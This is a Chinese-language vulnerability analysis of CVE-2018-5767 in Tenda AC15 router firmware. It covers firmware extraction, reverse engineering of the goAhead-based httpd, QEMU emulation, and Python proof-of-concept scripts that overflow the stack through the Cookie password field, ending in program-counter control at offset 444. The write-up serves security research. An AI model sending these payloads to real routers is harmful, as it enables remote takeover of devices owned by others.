CVE-2018-5767

0x00 简介

固件下载地址:https://us.softpedia-secure-download.com/dl/50b0d70af21488030c14cb2bd30e63b3/63008144/300482999/drivers/router/US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar

CVE 详情:

image

从 Description 中可知,由 COOIKE 请求头中的 password 参数触发远程代码执行漏洞,因此固件中要分析的文件应该是 HTTP 相关的文件。

0x01 固件提取

1
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

得到 squashfs-root 文件夹。bin 文件下有个 httpd 二进制文件:

image

arm32 架构的程序。

0x02 分析

搜索 web 相关函数:

image

百度搜索这些函数,会发现这使用的是 goAhead 框架。字符串搜索 .1 找到一个 2.1.8,很像是版本号,搜索下载 goAhead 2.1.8。其中 webs.h 中有一个结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
typedef struct websRec {
    ringq_t            header;                /* Header dynamic string */
    time_t            since;                /* Parsed if-modified-since time */
    sym_fd_t        cgiVars;            /* CGI standard variables */
    sym_fd_t        cgiQuery;            /* CGI decoded query string */
    time_t            timestamp;            /* Last transaction with browser */
    int            timeout;            /* Timeout handle */
    char_t            ipaddr[32];            /* Connecting ipaddress */
    char_t            type[64];            /* Mime type */
    char_t            *dir;                /* Directory containing the page */
    char_t            *path;                /* Path name without query */
    char_t            *url;                /* Full request url */
    char_t            *host;                /* Requested host */
    char_t            *lpath;                /* Cache local path name */
    char_t            *query;                /* Request query */
    char_t            *decodedQuery;        /* Decoded request query */
    char_t            *authType;            /* Authorization type (Basic/DAA) */
    char_t            *password;            /* Authorization password */
    char_t            *userName;            /* Authorization username */
    char_t            *cookie;            /* Cookie string */
    char_t            *userAgent;            /* User agent (browser) */
    char_t            *protocol;            /* Protocol (normally HTTP) */
    char_t            *protoVersion;        /* Protocol version */
    int            sid;                /* Socket id (handler) */
    int            listenSid;            /* Listen Socket id */
    int            port;                /* Request port number */
    int            state;                /* Current state */
    int            flags;                /* Current flags -- see above */
    int            code;                /* Request result code */
    int            clen;                /* Content length */
    int            wid;                /* Index into webs */
    char_t            *cgiStdin;            /* filename for CGI stdin */
    int            docfd;                /* Document file descriptor */
    int            numbytes;            /* Bytes to transfer to browser */
    int            written;            /* Bytes actually transferred */
    void            (*writeSocket)(struct websRec *wp);
} websRec;

typedef websRec    *webs_t;
typedef websRec websType;

找到里面特殊的 ringq_t 结构体:

1
2
3
4
5
6
7
8
9
typedef struct {
    unsigned char    *buf;                /* Holding buffer for data */
    unsigned char    *servp;                /* Pointer to start of data */
    unsigned char    *endp;                /* Pointer to end of data */
    unsigned char    *endbuf;            /* Pointer to end of buffer */
    int                buflen;                /* Length of ring queue */
    int                maxsize;            /* Maximum size */
    int                increment;            /* Growth increment */
} ringq_t;

sym_fd_t 其实就是 int,char_t 就是 char。

格式化后将这两个结构体导入到 IDA 中。

image

goAhead 2.1.8 的 main.c 中有一段:

image

IDA pro 中 sub_2D3F0 也有类似的一段:

image

这个 R7WebSceurityHandler 应该是二次开发的函数。

WebSceurityHandler 函数官方文档表明是用来做默认 URL 的安全策略的函数,若需要替换安全策略,可以修改该函数。

其函数原型如下:

1
2
3
 #include "webs.h" 

 int websSecurityHandler(webs_t wp, char_t *url, char_t *path, char_t *query);

再来看 R7WebsSecurityHandler,往下翻翻就能看见一个未经限制的 sscanf:

image

对照 WebSceurityHandler,将 a1 替换成之前的 websRec 结构体:

image

漏洞触发点出来了,cookie 中 password 的值未经过滤,可能会导致栈溢出。

但是要达到这条路径没有那么简单,还有一些条件:

image

因此需要找一个符合条件的目录,比如 goform/execCommand。

0x03 固件模拟

qemu-arm 指定根路径启动httpd:

1
qemu-arm -L ./  ./bin/httpd

image

找到关键词:

image

有一个关于 check_network函数的校验,可能会导致死循环,先patch掉:

image

再次运行还是报错:

image

再次搜索关键词,发现触发了 ConnectCfm(v2) 的判断,再patch,再执行:

image

监听255.255.255.255了,这里配置一下桥接网络。

1
2
3
4
5
6
apt install uml-utilities bridge-utils
brctl addbr br0
brctl addif br0 eth0
ifconfig br0 up
dhclient br0
chroot ./ ./qemu-arm-static ./bin/httpd

image

image

0x04 PoC

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://10.211.55.21:80/goform/execCommand"

payload = 'a' * 500
headers = {
    'Cookie': 'password="' + payload + '"'
}

print(headers)

response = requests.request("GET", url, headers=headers)

gdb-multiarch 调试一下,程序断在这:

image

可以看到,r3已经被覆盖为 ‘aaaa’,由于程序访问了r3处的内存,造成内存读取错误,程序并没有走到函数返回处。

通过对花括号的匹配,漏洞触发点后续的代码运行都取决于93-100行的判断:

image

此判断是判断 url 中是否包含一些特征字符,那么只需要在url后加入 .png 就可以使判断失败,从而直接运行到函数尾部。

但在在判断前,url已经被我们所覆盖,因此只要在payload中加上.png就可以完成目标。

再次尝试并计算偏移:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://10.211.55.21:80/goform/execCommand"

payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"
headers = {
    'Cookie': 'password=' + payload
}

print(headers)

response = requests.request("GET", url, headers=headers)

image​​

PC被劫持,且偏移为444。